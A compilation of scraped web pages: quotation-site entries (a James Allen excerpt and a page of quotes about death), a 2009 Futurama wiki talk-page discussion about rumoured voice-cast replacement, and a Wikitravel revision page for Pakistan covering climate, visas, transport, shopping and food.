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...worlds and a wider universe, and he revealed it; Buddha beheld the vision of a spiritual world of stainless beauty and perfect peace, and he entered into it.
Cherish your visions; cherish your ideals; cherish the music that stirs in your heart, the beauty that forms in your mind, the loveliness that drapes your purest thoughts, for out of them will grow all delightful conditions, all, heavenly environment; of these, if you but remain true to them, your world will at last be built.
To desire is to obtain; to aspire is to achieve. Shall man's basest desires receive the fullest measure of gratification, and his purest aspirations starve for lack of sustenance? Such is not the Law: such a condition of things can never obtain: "ask and receive."
Dream lofty dreams, and as you dream, so shall you become. Your Vision is the promise of what you shall one day be; your Ideal is the prophecy of what you shall at last unveil.
The greatest achievement was at first and for a time a dream. The oak sleeps in the acorn; the...
Allen, James
Excerpt from As a Man Thinketh · This quote is about desire · Search on Google Books to find all references and sources for this quotation.
A bit about Allen, James ...
James Allen was a philosophical writer of British nationality known for his inspirational books and poetry. His best known work, As a Man Thinketh, was mass produced since its publication in 1903 and has provided a key source of ideas to countless bestselling motivational and self-help authors of the twentieth and twenty-first centuries.As a result he is considered as the pioneer of self help movement.
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Any woman who understands the problems of running a home will be nearer to understanding the problems of running a country. Thatcher, Margaret
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A bit about Thatcher, Margaret ...
We don't have a biography.
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If I have made any valuable discoveries, it has been owing more to patient attention than to any other talent. Newton, Sir Isaac
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Sir Isaac Newton
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Quotes about death
These are quotes tagged with "death". You can also search for quotes containing the word death.
"The words of a dead man are modified in the guts of the living."
Auden, W. H. on death
"To a father, when a child dies, the future dies; to a child when a parent dies, the past dies."
Auerbach, Red on death
8 fans of this quote
"Death is a release from the impressions of the senses, and from desires that make us their puppets, and from the vagaries of the mind, and from the hard service of the flesh."
Aurelius, Marcus on death
"Despise not death, but welcome it, for nature wills it like all else."
Aurelius, Marcus on death
"It is natural to die as to be born."
Bacon, Francis on death
"It is as natural to die as to be born; and to a little infant, perhaps, the one is as painful as the other."
Bacon, Francis on death
"I do not believe that any man fears to be dead, but only the stroke of death."
Bacon, Francis on death
"As for death one gets used to it, even if it's only other people's death you get used to."
Bagnold, Enid on death
"Perhaps the whole root of our trouble, the human trouble, is that we will sacrifice all the beauty of our lives, will imprison ourselves in totems, taboos, crosses, blood sacrifices, steeples, mosques, races, armies, flags, nations, in order to deny the fact of death, which is the only fact we have."
Baldwin, James on death
"When one by one our ties are torn, and friend from friend is snatched forlorn; When man is left alone to mourn, oh! then how sweet it is to die!"
Barbauld, Anna Letitia on death
"I really wanted to die at certain periods in my life. Death was like love, a romantic escape. I took pills because I didn't want to throw myself off my balcony and know people would photograph me lying dead below."
Bardot, Brigitte on death
"To you who have never died, may I say: Welcome to the world!"
Barker, Clive on death
"The best place a person can die, is where they die for others."
Barrie, Sir James M. on death
3 fans of this quote
"To die will be an awfully big adventure."
Barrie, Sir James M. on death
6 fans of this quote
"Die? I should say not, dear fellow. No Barrymore would allow such a conventional thing to happen to him."
Barrymore, John on death
3 fans of this quote
"Death is the great adventure beside which moon landings and space trips pale into insignificance."
Bayly, Joseph on death
3 fans of this quote
"Death always waits. The door of the hearse is never closed."
Bayly, Joseph on death
"Let no man fear to die, we love to sleep all, and death is but the sounder sleep."
Beaumont, Francis on death
5 fans of this quote
"There's a thing that keeps surprising you about stormy old friends after they die; their silence."
Becht, Ben on death
"Personally I have no bone to pick with graveyards, I take the air there willingly, perhaps more willingly than elsewhere, when take the air I must."
Beckett, Samuel on death
"Death is the dropping of the flower that the fruit may swell."
Beecher, Henry Ward on death
"Living is death; dying is life. We are not what we appear to be. On this side of the grave we are exiles, on that citizens; on this side orphans, on that children;"
Beecher, Henry Ward on death
4 fans of this quote
"Loss and possession, Death and life are one. There falls no shadow where There shines no sun."
Belloc, Hilaire on death
3 fans of this quote
"Always go to other people's funerals, otherwise they won't come to yours."
Berra, Yogi on death
4 fans of this quote
"Death is as sure for that which is born, as birth is for that which is dead. Therefore grieve not for what is inevitable."
Bhagavad Gita on death
9 fans of this quote
"And fear not them which kill the body, but are not able to kill the soul: but rather fear him which is able to destroy both soul and body in hell. [Matthew 10:28]"
Bible on death
3 fans of this quote
"As the waters fail from the sea, and the flood decayeth and drieth up: so man lieth down, and riseth not: till the heavens be no more, they shall not awake, nor be raised out of their sleep. [Job 14:11-12]"
Bible on death
"For we brought nothing into this world, and it is certain we can carry nothing out. [1 Timothy 6:7]"
Bible on death
"Lord, make me to know mine end, and the measure of my days, what it is; that I may know how frail I am. [Psalms 39:4]"
Bible on death
"And I looked, and behold a pale horse: and his name that sat on him was Death. [New Testament]"
Bible on death
"Yea, though I walk through the valley of the shadow of death, I will fear no evil: for thou art with me; thy rod and thy staff they comfort me. [Psalm 23:4]"
Bible on death
"O death, where is thy sting? O grave, where is thy victory? [1 Corinthians 15:55]"
Bible on death
"Precious in the sight of the Lord is the death of His godly ones. [Psalms 116:15]"
Bible on death
"The last enemy that shall be destroyed is death. [1 Corinthians 15:26]"
Bible on death
"You must not fear death, my lads; defy him, and you drive him into the enemy's ranks."
Bonaparte, Napoleon on death
"Most of us die with much of our beautiful music still in us, un-sung, un-played."
Bright, Grant M. on death
3 fans of this quote
"How long after you are gone will ripples remain as evidence that you were cast into the pool of life?"
Bright, Grant M. on death
3 fans of this quote
"No one's death comes to pass without making some impression, and those close to the deceased inherit part of the liberated soul and become richer in their humanness."
Broch, Hermann on death
"Any relic of the dead is precious, if they were valued living."
Bronte, Emily on death
But wait... There are more: prev 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 next
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[edit] Discussion
Damn. If any of these news article ([1] [2] [3]) holds any truth, Futurama as we know it, probably won't be Futurama as we know it.
Citations such as cutting cost is among the reasoning. Some people are sceptical still, myself included, whether this is actually true. Although, Variety does have a statement from 20th Century Fox. --SvipTalk 20:30, 17 July 2009 (UTC)
I seriously doubt the voice cast would demand "tenfold" the amount they made before. They love Futurama and want it back as much as we do. I'm sure they need more pay, but they're not going to be unreasonable. More likely, Fox wants to pay them less (or even the same) and then when things go to crap, they can blame someone else. They can point to the voice cast and say "See? It wasn't us this time!" --Buddy 22:23, 17 July 2009 (UTC)
This is a stunt. What for, I don't know, but I know damn well it's a stunt. It's publicity at its cheapest.
For the record, if this does come true, I move that the Infosphere should ignore the new content as "non-Futurama". --SvipTalk 22:29, 17 July 2009 (UTC)
Hopefully, we'll find out more at the comicon panel. Until then, speculation will abound. I know lots of fans will ask, and unless they give a "no comment", we'll know something. As for treating the new Futurama differently... Personally, it all comes down to Matt and Dave. It's their baby, and if they are truly happy with the direction it goes, who are we to argue? I'd be open to treating it as a lower level of canon, though. --Buddy 22:34, 17 July 2009 (UTC)
Okay, so the story goes like this: "The crew in it's entirety is transported to an unknown location in the universe and then the crew isn't in the show anymore (or voiced by other people." That doesn't seem plausible. In any case, I'll stay in the "open" position. It could be good or bad. -Mini-Me 22:48, 17 July 2009 (UTC)
Even Phil LaMarr is saying it's true. And the list is the main characters, not just minor roles... --23:00, 17 July 2009 (UTC)
We know it is true. But we do not know if the actors will be replaced. It is most likely that it is a negotiation ploy by 20th Century Fox Television (articles on that here: [4] [5]). What I am questioning is not that the audition is real, but whether the purpose of it is real. --SvipTalk 23:02, 17 July 2009 (UTC)
*Refuses to accept the possibility* Perhaps any auditions that are happening are actually for other characters, using the main character's lines. It may somehow cut costs to have smaller time actors in the parts of new tertiary or secondary characters, perhaps they are casting a new addition main character, like Zylex - Quolnok 03:24, 18 July 2009 (UTC)
I hope it's only a scare tactic. They'll be back. Just wait and see. This happened before with that other show. - Jasonbres 03:28, 18 July 2009 (UTC)
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Difference between revisions of "Pakistan"
From Wikitravel
Asia : South Asia : Pakistan
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===Climate===
===Climate===
Mostly hot, dry desert; temperate in northwest; arctic in north. Flooding along the Indus after heavy rains (July and August)
+
Mostly hot, dry desert; temperate in northwest; arctic in north. Flooding along the Indus after heavy rains (July and August). Fertile and sub humid heat in the Punjab region.
===Holidays===
===Holidays===
Revision as of 15:05, 20 November 2008
[[File:|250px|frameless|Pakistan]]
Location
[[File:|250px|frameless]]
Flag
[[File:|108px|frameless]]
Quick Facts
Capital Islamabad
Government Islamic Republic
Currency Pakistani rupee (PKR)
Area 803,940 km2
Population 162,419,946 (July 2006 est.)
Language Urdu (official) 8%, Punjabi 48%, Sindhi 12%, Siraiki 10%, Pashtu 8%, , Balochi 3%, Hindko 2%, Brahui 1%, Burushaski, and other 8%
Religion Muslim 97%, Christian, Hindu, Buddhist, Sikhs and other 3%
Electricity 230V/50Hz (Europlug & Old British Plug)
Country code +92
Internet TLD .pk
Time Zone UTC+5.0
Pakistan [1] (Urdu: پاکستان) is a country in South Asia. Located along the Arabian Sea, it is surrounded by Afghanistan to the west and northwest, Iran to the southwest, India to the east, and China to the northeast. It is strategically located astride the ancient trade routes of the Khyber and Bolan passes between Asia and Europe.
Contents
Understand
History
The history of Pakistan traces back to the beginnings of human life in South Asia. Pakistan is home to the Indus Valley civilization, which is amongst the oldest in the world. Prior to the 1900's the area of Pakistan was the area from which the Muslims ruled over Central and Southern Asia for over 300 years.Today Pakistan is made up of people from various races including Arabs from after the Islamic expeditions, Persians from Bukhara and Samarkand, Turks from Central Asia and the Hindus who were converted to Islam.
The official name of Pakistan was used after the partition of (British) India into the 2 states of India and Pakistan in 1947. The once Mughal Empire was divided into the Islamic Republic of Pakistan (with two sections West and East) and largely Hindu, abeit secular India. A third war between these countries in 1971 resulted in East Pakistan seceding and becoming the separate nation of Bangladesh. A dispute over the state of Jammu and Kashmir is ongoing between India and Pakistan.
Terrain
The Pakistan is one of those few countries in world which has every kind of geological structure. It has sea, desert (Sindh & Punjab), green mountains (North West Provice), dry mountains (Balochistan), the mountains covered with Ice, rivers, rich land to cultivate (Punjab & Sindh), water resources, water falls, forest etc. The North West Frontier Province and the Northern Area contain the mountain ranges of the Himalayas, the Karakoram, and the Hindu Kush. (Pakistan's highest point is K2, at 8,611 meters, the second highest peak in the world.) Punjab province is a flat, alluvial plain whose rivers eventually join the Indus River and flow south to the Arabian Sea. Sindh lies between the Thar Desert the Rann of Kutch to the east, and the Kirthar range to the west. The Balochistan Plateau is arid and surrounded by dry mountains. Pakistan experiences frequent earthquakes, occasionally severe, especially in north and west.
Climate
Mostly hot, dry desert; temperate in northwest; arctic in north. Flooding along the Indus after heavy rains (July and August). Fertile and sub humid heat in the Punjab region.
Holidays
• Eid-ul-Fitr - the largest holiday of the year, it celebrates the end of the holy month of Ramadan. Food is the highlight, and if you're lucky you'll be invited into a private home for a feast. Businesses close for at least a couple days if not a week.
• Eid-ul-Azha - the festival of sacrifice, commemorates Abraham's willingness to sacrifice his son
• Eid-e-Milad-un-Nabi - Birthday of the Prophet Muhammad, varies according to Hijera calendar
• Pakistan Day - March 23
• May day - May 1
• Independence Day - August 14
• Quaid-e-Azam's deathday - September 11
• Quaid-e-Azam's birthday - December 25
• Ramadan - the 9th and holiest month in the Islamic calendar, Muslim's fast everyday for its duration and most restaurants will be closed until the fast breaks at dusk. Nothing (including water and cigarettes) are supposed to pass through the lips from sunrise to sunset. Foreigners and travelers are exempt from this, but you should still refrain from doing it in public.
Regions
Map of Pakistan
Azad Kashmir
Pakistan-administered portion of the disputed Kashmir region
Balochistan
the largest and most remote province, its lack of infrastructure can make for rough traveling. Most foreign visitors here are just passing through from Iran, stopping briefly in Quetta
Federally Administered Tribal Areas
this area is mostly off-limits to foreigners, and is not under the control of Pakistan's governenment. Home to the legendary Khyber Pass, and the gun making city of Darra Adam Khel.
Islamabad
The capital area encompasses Islamabad, Rawalpindi, the Margalla Hills and the ancient ruins of Taxila
Northern Areas
home to some of the world's tallest mountains, it's brimming with dramatically fantastic landscapes and can easily compete with Nepal for trekking opportunities
North-West Frontier Province
Home of the rugged Pashtuns, for some it's forbidding and mysterious... yet below the surface are some of the most hospitable people in the country
Punjab
The most populous and agriculturally fertile region in the country, and home to many historical shrines and mosques
Sindh
Most visitors head for Karachi or the ancient ruins of Moenjodaro.
Cities
Ramadan dates
• 2013 CE (1434 AH): 9 July – 7 August
• 2014 CE (1435 AH): 28 June – 27 July
• 2015 CE (1436 AH): 18 June – 16 July
The festival of Eid ul-Fitr is held after the end of Ramadan and may last several days. Exact dates depend on astronomical observations and may vary from country to country.
Pakistan has many cities and towns. Below are nine of the most notable. Other cities are listed under their specific regions.
• Islamabad - The Federal capital, a relatively new planned city with a much more laidback feel than the rest of the country's cities
• Karachi - the Financial capital and the largest city of the country, it's an industrial port city and the provincial capital of Sindh
• Lahore - City of the Mughals, it's a bustling and a very historical city that shouldn't be missed, the food variety is the best in the country.
• Multan - The City of Saints, famous for blue pottery, ornamental glasswork, and Khussa - a type of shoes
• Sialkot - The City of sports goods, famous for its exports industry, one of the oldest city in the region
• Quetta - a large, beautiful and slightly unruly city in the southern state of Balochistan, you'll pass through here en route to or from Iran
Other destinations
• Hunza Valley – one of the more stunning and popular parts of the high mountain areas, some liken it to paradise on Earth
• Mountain peaks and glaciers – Pakistan's Northern Areas are home to some of the highest mountains in the world, including K2, Rakaposhi and Nanga Parbat, and offer incredible trekking opportunities
• Swat Valley – this old hippie destination from the 70's is hardly the scene it used to be, but offers nice scenery nonetheless. Check the security situation before heading here now, however
• Kalasha Valleys – witness the decline of a truly unique culture in Chitral District
• Deserts – Pakistan is home to the Thar desert in Sindh and the Cholistan desert in the Punjab, which it shares with neighboring India
• Archaelogical treasures – the country's rich history has left many things to explore; Taxila, Moenjodaro and Harappa are some of the more famous
See also: Sacred sites of the Indian sub-continent
Get in
Visas
Almost all nationalities require visas. These are usually easier to obtain in your home country, though recently the individual missions around the world have been given more authority to issue visas without checking in with Islamabad, which should help in getting applications turned around quicker.
Recently a list of 24 "Tourist Friendly Countries" (TFC) was announced that are eligible for one month visas on arrival if they travel through a designated/authorized [2] tour operator who will assume responsibility for them while in the country. Any extensions on this type of visa must also be done through the tour operator. They include: Austria, Belgium, Canada, China, Denmark, Finland, France, Germany, Greece, Iceland, Italy, Japan, South Korea, Luxembourg, Malaysia, Netherlands, Norway, Portugal, Singapore, Spain, Sweden, Thailand, the UK and the USA.
Nationals of most other countries (and those not wanting to travel with a tour operator and group) need to apply in advance for a visa, which are usually issued for 30-90 days depending on nationality and where you apply. Double-entries are sometimes given, but be clear and persistent when applying that you need this.
A handful of countries are issued visas on arrival: Iceland, Maldives and Zambia for 3 months, Hong Kong, Nepal and Western Samoa for 1 month, while Tonga and Trinidad and Tobago nationals can stay for an unlimited amount of time.
Nationals of Israel are not allowed entry as it is not recognized as a nation by Pakistan (and most other Muslim countries), but there is not any restriction on Jews holding passports from other nations. Despite much online information to the contrary, Israeli stamps and visas would usually pose no problems for entry into Pakistan, though you may be subject to more stringent questioning by immigration officers.
Indian nationals can apply for 30 day tourist visas but must travel in a group through an authorized tour operator. Visitor visas to meet relatives or friends are more easy to obtain, and come with some restrictions. Religious visas are granted for groups of 10 or more for 15 days.
Nationals of Afghanistan are refused entry if their passports or tickets show evidence of transit or boarding in India.
Holders of Taiwan passports are refused entry except in airport transit.
Business visas are now being issued for up to 5 years, multiple entry, as soon as 24 hours before arrival.
The Pakistan Consulate in Istanbul does not issue visas unless you are a resident of Turkey, although it may be possible in Ankara.
The consulate in Zahedan in Iran no longer issues visas, head for the embassy in Tehran.
The High Commission for Pakistan in New Delhi issues visas with a few days needed to process the application. Applications are only accepted in the mornings from around 8-11AM. Arrive early and expect the process to take a few hours. Window 4 is for foreign tourist and business visas.
People of Pakistani origin living overseas are granted 5 year multiple entry visas (along with their spouses), good for single stays of up to 1 year. Visas aren't required at all if they are holding a Pakistan Origin Card (POC) or a National Identity Card for Overseas Pakistanis (NICOP).
By plane
Karachi, Lahore, and Islamabad are the main gateways to Pakistan by air. However, there are 134 airfields in Pakistan. Six other international airports are in Peshawar, Quetta, Faisalabad, Sialkot, Multan and Gawadar.
• Jinnah International Airport in Karachi [3] is served by many international airlines, including Air Arabia, Air China, Biman Bangladesh Airlines, Cathy Pacific, Etihad, Emirates, Gulf, Lufthansa, Qatar Airways, Saudi Arabian Airlines, Syrian Arab Airlines, SriLankan Airlines, Singapore Airlines, Iran Air, Malaysia Airlines, Thai Airways , China Airways and Turkish Airlines . It's also the main hub of the national carrier "PIA"and 2 private airlines (Air Blue and Shaheen Air).
• Allama Iqbal International Airport in Lahore [4] has been completely renovated with a new terminal for international arrivals and departures. Many airlines are currently operating to the airport including Emirates, Etihad Airways, Indian Airlines, Mahan Air, Qatar Airways, Gulf Air, Lufthansa, Singapore Airlines, Pakistan International (PIA), Saudi Arabian Airlines, Thai Airways, Kuwait Airways, Uzbekistan Airways and two private airlines from Pakistan.
• Islamabad International Airport [5] is currently in review to be expanded and modernized to meet the needs of the future passenger numbers as demand for air travel has increased dramatically. There are many airlines operating into Islamabad including many of the above with Ariana Afghan Airlines, British Airways and China Southern Airlines. The only problem is that the airport is also used by Government officials as well as arrivals from foreign diplomats so the airport may shut down as security is increased so flights are delayed.
By train
Pakistan has train links with India and Iran, though none of these trains are the fastest or most practical way to enter Pakistan. Should speed be a priority it is better to take the bus, or if you are really in a hurry, to fly, however the trains are sights in their own right.
India has two links: The Samjhauta Express is the more common, running on Tuesdays and Fridays between Delhi and Lahore via the Attari/Wagah border crossing. Tourists should be aware that after recent terrorist attacks on the train, which caused many a casualty and strained relationships between the two neighbors, it is strongly advised that you take taxis or buses to and from the border instead. The Thar Express restarted in February 2006 after 40 years out of service. It runs from Munabao in the Indian state of Rajasthan to Khokrapar in Pakistan's Sindh province, but is not open to foreign tourists.
Iran has one link, from Zahedan to Quetta.
By car
From ancient times people have been travelling through Pakistan using the Grand Trunk Road and the Silk Road that run through Pakistan and into the Indian subcontinent. It's a rewarding but time consuming way to see this part of the world. New highways have been developed and the country is due for an expansion in its highway network. Currently, a world-class motorway connects the cities of Lahore, Islamabad and Faisalabad, with extension up to Peshawar due to be completed soon.
Pakistan is connected to China through the Karakoram Highway, a modern feat of engineering that traverses a remarkably scenic route through the Karakoram and Himalayan mountains. Which is about to be expanded from current 10m wide to 30m because of the increase in trade traffic due to Gwader port opening.
There are two routes between Pakistan and Afghanistan:
• The Khyber Pass connects Peshawar to Jalalabad and Kabul and requires an armed escort and a permit to travel through the tribal regions between Peshawar and the border. Onward travel from the border to Kabul is of questionable safety, check the current situation locally.
• The Bolan Pass connects Quetta to Kandahar and is considered very dangerous. This route is currently only open to locals and aid workers.
By bus
From India: While there is international service running from Delhi to Lahore it is just as fast, much more flexible, and much cheaper to take the journey by stringing together local transport and crossing the border on foot.
From China: You can take a bus from Kashgar over the Karakoram Highway to Pakistan.
From Iran: One comes to Pakistan from Iran via the Mijva border in Iran which is half an hours drive from Zahedan. The Pakistani border town is called Taftan and has facilities of immigration, customs, hotels etc.
By boat
A trial ferry service was run from Dubai to Karachi, but this service has been discontinued.
Get around
In the past, getting around was a very hectic task, but nowadays it's very easy because of the advent of motorways and many private airlines.
By plane
• Pakistan International Airlines [6]
• Aero Asia International [7]
• Shaheen Air International [8]
• Airblue [9]
PIA serves numerous domestic destinations and is the only airline to serve the three airports in the north of interest to trekkers or climbers: Chitral, Gilgit, and Skardu. There are usually two flights from Islamabad to these cities daily, but they are often canceled due to bad weather. The flights are often over-booked, show up early to guarantee your seat.
By train
Pakistan Railway [10] provides passenger rail service. The stations tend not to have their timetables in English, but sales agents can usually explain everything to you. There are several different classes of fares depending on amenities. Foreign tourists and students with an ISIC card can get 25% and 50% discounts, respectively, by first visiting the PTDC (Pakistan Tourism Development Corporation) office, getting q verification certificate there, and bringing it with them to the train's commercial ticket office (which is different from the regular ticket office, but usually close by).
By bus
A large portion of travel between cities in Pakistan is carried out by bus. Travelling between Karachi and any of the country's other major cities by bus may take days, and is usually advised against, because of highway robbery, known locally as 'dacoitry'. With that exception, however, travel by bus is often the cheapest and most convenient alternative. The Dae-Woo company runs a regular bus service between several major cities, with air-conditioned buses and seats booked one day ahead. While rather unexpensive, they are still almost five times as expensive as the cheap and uncomplicated rides offered by minibuses or larger buses between the major bus stations of the cities. Fares are often (though not always) paid directly on the bus, there is no aircondition, and sometimes very little knee space, but you get where you are going all the same, and I have never met with anything but kind interest and friendly conversation on my many rides. Buses leave almost incessantly from the major bus stations for all the major cities, and many smaller locations, so booking ahead is neither possible nor necessary on the simpler buses. When travelling between major cities, smaller buses are to be preferred over the larger ones, as these tend to take up passagers along the way, and therefore travel more slowly.
The situation is similar for local transport. While the organization of local transport may look a little different between cities, there is usually an active bus service running through the city, with varying levels of government control.
By rickshaw
For local transport within cities, auto rickshaws are a cheap and flexible alternative. A development of the bicycle rickshaw, the auto rickshaw is a small vehicle powered by a two-stroke engine, constantly emitting a stuttering noise and foul blue-black smoke. Blue-and-yellow auto rickshaws take passengers, other colours tend to be privately owned. The inexperienced traveller should negotiate prices before entering the rickshaw.In Lahore 2 Stroke engine Rikshaws are replaced with Gas Powered 4 Strock engines.
Rickshaws are banned in the capital Islamabad.
Talk
Urdu is the national language and is spoken throughout Pakistan as lingua franca. In addition to Urdu most Pakistanis speak their regional languages or dialects such as Punjabi, Pothohari, Sindhi, Pashto (Pushtun), Balochi, Saraiki, Shina, Burushaski, Khowar, Wakhi, Hindko etc.
English is the official language used in all government and most educational and business entities, and is also understood and spoken at varying levels of competence by many people around Pakistan, especially the upper classes and people who have gone through higher levels of education, and those residing in the larger cities.
Buy
Pakistan is excellent for buying carpets, garments, leather goods, sports goods, gem & jewelry, glassware, marble products, crystal works, paintings, surgical instruments, musical instruments, biscuits, pashminas (woolen scarves), and carved wood, including furniture and various handicrafts. In Karachi, be sure to visit Tariq Road, Zamzama Avenue, Zainab Market and major shopping malls such as Forum, Park towers, Millennium mall, Dmart and Naheed super market for best deals and a taste of Pakistan's rich antiquity past. Peshawar's Old City is as rich in ambience and arabian-nights-bazaar feeling as in cheap brassware, jewellery, handicrafts and semi-precious stones, and stand in stark contrast to Islamabad's square shopping centres with modern manufacture and old crafts, notably Supermarket and Jinnah market. Almost everything is commercially available in Pakistan.
In Lahore, you must visit Hafeez Centre (Gulberg,Lahore) and Hall Road if you are looking to buy Computer and Mobile accessories or any type of electronics. You can expect to see almost anything here at very low prices.
If you are a sports fan or a sportsman yourself, don't forget to buy sports equipment. Pakistan produces world class sports equipment which are available across the country at very cheap rates. You will not find such high quality equipments at such low cost anywhere. Sialkot is the city in Punjab which has this industry. Better visit the city to buy Cricket Bats, Balls , Kits, Footballs, Hockeys and almost anything related to sports you can imagine. To mention, Pakistan was the provider of footballs to be used in FIFA world Cup 99, every world cup, Pakistan is the largest provider of sports equipment to FIFA. If you don't get a chance to visit Sialkot, visit good sports shops in Lahore like Zaidi Sports and others at Choburgi, Lahore.
If you are looking to buy something related to garments or any textile product, you must visit Faisalabad, a city in Central Punjab which has got the one of the largest textile industries of the world. You will notice textile factories all your way across the raod to Faisalabad. YOu can buy very cheap garments, bed sheets, shirts, T-shirts, cloth for shalwar kameez/kurta over there. It is to be mentioned that many world reknown brands like Levis, Slazenger, HangTen etc get their products prepared from Faisalabad. You can find cheap products of these brands at local stores.You can get a pair of Levis jeans (or any other good brand for that matter) for just 300 PKR (5 USD).
Pakistan produces cheap and high quality musical instruments as well. If you can not afford to spend much time, just visit the Red Light area in Lahore (called 'Heera Mandi' in Lahore, Pakistan) and you will find plenty of shops selling all musical instruments at very cheap prices. You can even get an acoustic guitar for as low as 2000 PKR (34 USD). Traditional instruments like Tabla, Dhool, Bansri are also available. It should be noted that "Heera Mandi" is a prostitution market in Lahore.
Shoes of various kinds is also a specialty of Pakistan. You can get very high quality, fine leather shoes in different styles in the country at very low rates. In Lahore (Liberty Market) you can find a very nice variety of Khussa (a local shoe type) which you can get for as low as 300 (5 USD). The red light area in Lahore (Heera Mandi) offers a very nice variety of shoes especially the Kohlapuri Chappals (open sandals to be worn with an type of dress especially jeans and shalwar kurta) for a price just around 5 USD. In Peshawar (or anywhere in NWFP province) you can find Peshawri Chappal and Kheeri which look good and come in the same price. You can find almost all variety of shoes in the city of Lahore alone at various places.
Eat
Pakistani food mainly consists of various kinds of kababs eaten with either flatbread or rice. Food tends to be either mild or very spicy depending on where you are. So state your preference before beginning to eat. In general, most of the same food you can find in the highest quality restaurants/hotels there is available commonly in the markets (but European-style food is generally reserved for the former).
• The types of flatbread (collectively referred to as Nan are:
• Nan - A soft and thick bread that often requires special clay ovens and cannot be properly made on home stoves. It is recognized by its larger, white exterior.
• Roti/Chapatti - A homemade bread that doesn't have as much flavor as naan. It is a cheap alternative that is ready in minutes.
• Paratha - An extremely oily version of the roti. Usually excellent if you're going out to eat, but beware of health concerns; often it is literally dripping with oil because it is meant to be part of a rich meal. Pratha is more declicious if you cook it in pure oil like "desi ghee".
• Sheer Mal - This is a slightly sweetened, lightly oiled bread that has waffle-like squares punched in it. It is often considered the most desirable bread and is a delicacy to most people. Often paired with nihari.
• Taftan - Much like the sheer mal but with a puffed-up ring around it. This is generally just as good as the sheer mal but easier to eat liquidy shorba with.
As you might have noticed, Nan is usually used to pick up liquid and soft foods like shorba and beans. Utensils are not commonly used during meals in Pakistan except to serve dishes (unless someone is eating rice and would like to be polite or is unpracticed eating it by hand). Attempting to cut a naan with a knife and drink shorba with a spoon may elicit some amusement around you. Watching others may help.
• Types of kababs (mainly made of Beef or Lamb) are:
• Seekh Kabab (سيخ کباب) - A long skewer of Beef mixed with herbs and seasonings.
• Shami Kabab (شامي کباب) - A round patty of seasoned Beef, softer than seekh kabobs.
• Chapli Kabab (چپلي کباب) - A spicy round kabob that is a specialty of Peshawar.
• Chicken Kabab (مرغ کباب) - A popular kabob that is found both with bone and without.
• Lamb Kabab (کبابِ برہ گوشت) - The all lamb meat kabob is usually served as cubes.
• More Pakistani Foods:
• Roasted Chicken (whole) (مرغ بريان) - A whole chicken roasted. Very famous around Pakistan. You'll see them on the rotisserie while driving on Lahore streets.
• Biryani (برياني) - A dish with mixed pieces of chicken and rice. It smells nice from the saffron and other seasonings added.
• Chicken Tikka - Barbequed chicken with a spicy exterior. Looks like a huge, red chicken leg and thigh. For all meat lovers. Is available most anywhere.
• Haleem - Thick soup-like mix of tiny chunks of meat, lentils and wheat grains.
There are too many shorbas, or sauces, to enumerate. However, you should know of the most common ones.
• Vegetarian
• Daal - Yellow (plain) or brown (slightly sour) lentil "soup". Usually unspiced. Common to all economic classes.
• Aloo Gobi - Potatoes and cauliflower. Cooked so that both are soft and breakable with finger pressure.
• Bhindi - Okra, Can be bitter...
• X + ki sabzi - A vegetarian mixture with 'X' as the main ingredient.
• With Meat
• Aloo Gosht (Potatoes and Meat) - Chunks of potato and goat meat in gravy. Levels of spice vary. One example of a generic dish that includes most things + Gosht(meat).
• Nihari- Beef simmered for several hours. A delicacy often eaten with Nan, Sheer Mal, or Taftan. Few people will have this available without spice. Eat with lemon, fried onion and caution: it is one of the spiciest curries.
• Paye - Very, very wet salan, often served in a bowl or similar dish. Eat by dipping pieces of naan in it, maybe finishing with a spoon. Hard to eat.
• Desserts
• Enjoy a variety; ice cream can be found in an abundance of flavors such as the traditional pistachio flavoured Kulfi;
• Falooda (فلودہ) is tasty rosewater desert. The sweets are extremely popular in Pakistan and called different things depending on where you go. Eat small chunks at a time, eating large pieces can be rude and will generally be too sweet.
• Kulfi is a very traditional made ice-cream mixed with cream and different types of nuts.
• If you want to go to some ice-cream parlors, there are some good ice-cream parlors in Lahore like "Polka Parlor" "Jamin Java" "Hot Spot".
Here is a list of places/stuff you must try if you happen to be in Pakistan:
Chaman Ice Cream, Beaden Road adjacent to Hall Road, Aside Mall Road, Lahore - Serves a vast variety of various flavours of cie creams, ice cream shakes, juices ans stuff. Don't miss it ! Its worth it.
Food Street In Lahore Gawalmandi - A 200/300 meter long street with historically preserved 2/3 storey old houses on both side which are ligthen up in a very special way giving a very historical and magnificent look. The envoirnment is a real creatio nof culutre of Lahore, the mughla era. You will find around a hundred restaurants in this street which mouth watering menus. Do try Chappal Kababas, Saag with Makai ki roti, Golas of Ice, Sardar ki Machli and anything you like.
Basheer-dar-ul-Mahi at Mazang Chok Lahore - Fried Fish is served in 2/3 forms. You will see people queued up in lines to get their order here. Din't got if you don't have much time. But this fish is worth waiting this much.
Parathas and Lassi at Mazang Lahore - Near the Baheer-dal-ul-Mahi is this very cheap and small scale restaurant. Serves paraths of potatoes, minced chicken, egg and others with Tea or delicious Lassi. Don't miss this at breakfast or anytime you want to have something energetic.
Phajjay Ke Paye (Red Light Area - Heera Mandi Lahore) - Very famous and highly energetic. For those having physical weakness, sexual weakness or any similar problem must try this dish.
Muhammadi Nihari - They have a chain of restaurants in Lahore. They serve a very special dish made up of Chicken or Mutton. This is something which will make you never forget Pakistani food.
All the places above are cheap ones. You can get rid of your hunger at these places in quite less than 100 PKR ( less than 2 USD ).
For some good restaurnats, here is a list:
Mini Golf, Gulberg, Lahore (Don't miss this place for great open air atmosphere where you will also get Sheesha) Bundu Khan, Karachi and Lahore Village Ziafat Freddy's Cafe, Lahore Coffee Tea and Company, Lahore Memories Lahore Chatkhara Munchies, Islamabad Jahangier, Islamabad Kabana
A part from local restaurants, there are also international food chain having their outlets throughout in Pakistan. They include, KFC, Pizzahut, McDonalds, Subway, Nandos, Mr.Cod, and Domino
Drink
Tap water is generally not safe for drinking. However, some establishments have water filters/purifiers installed, in which case the water is safe to drink. Packed drinking water (normally called mineral water in Pakistan) is a better choice.
The taste of the water is said to be very good in the north-eastern side of Pakistan, especially in the district of Sialkot. Ask for bottled water wherever possible, and avoid anything cold that might have water in it.
• Tea (or Chai as it is referred to in Pakistan) is popular throughout the country.
• Both black and green tea (Sabz chai or qahvah) are common and are traditionally drunk with cardamom and lots of sugar. Lemon is optional but recommended with green tea.
• Kashmiri chai is a milky tea with almonds and nuts added to give additional flavour. This tea is very popular during weddings and in the cold season.
• Coffee is also available in all cities.
